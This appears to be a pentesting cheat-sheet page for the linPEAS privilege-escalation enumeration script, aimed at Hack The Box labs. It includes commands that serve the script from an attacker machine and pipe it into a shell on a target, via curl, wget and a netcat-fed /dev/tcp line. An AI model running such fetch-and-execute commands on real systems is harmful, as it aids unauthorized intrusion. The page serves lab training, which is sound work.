linPEAS
linPEAS checks everything and highlights in red and yellow what is almost certainly exploitable. It does not replace looking by hand: use it when the quick review (sudo -l, SUID, processes) finds nothing, and read its output carefully.
- Platform
- Linux (sh)
- Official site
- github.com/peass-ng/PEASS-ng
- On HTB
- 5 machines
Install
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh- T1548.003 Sudo and Sudo Caching
- T1548.001 Setuid and Setgid
- T1548 Abuse Elevation Control Mechanism
- T1053.003 Cron
- T1068 Exploitation for Privilege Escalation
- T1552.001 Credentials In Files
- Sudo abuse
- SUID binaries
- Linux capabilities
- Cron jobs and processes
- Kernel or system exploit
- Credentials in files
linPEAS cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
Getting it onto the victim
Serve it from your machine
Attacker
python3 -m http.server 80
Run it without touching disk
Target
curl -L http://10.10.14.5/linpeas.sh | sh
Without curl or wget: over netcat
Attacker
nc -lvnp 9002 < linpeas.shOn the victim: cat < /dev/tcp/{{LHOST}}/9002 | sh
Save the colored output and read it later
Target
./linpeas.sh | tee /tmp/lp.txt
less -R /tmp/lp.txtIn our cheatsheets
File transfer › Linux
wget
Target
wget http://10.10.14.5/linpeas.sh -O /tmp/linpeas.sh
curl
Target
curl http://10.10.14.5/linpeas.sh -o /tmp/linpeas.sh
Run without touching disk
Target
curl -s http://10.10.14.5/linpeas.sh | bashLinux privilege escalation › Checks
linPEAS
curl -L http://10.10.14.5/linpeas.sh | shGrab it from github.com/peass-ng/PEASS-ng and serve it with python3 -m http.server 80.
No command matches.
HTB machines where linPEAS is used
Taken from the chapters of IppSec videos where linPEAS shows up. The ▶ link jumps to the minute of that part.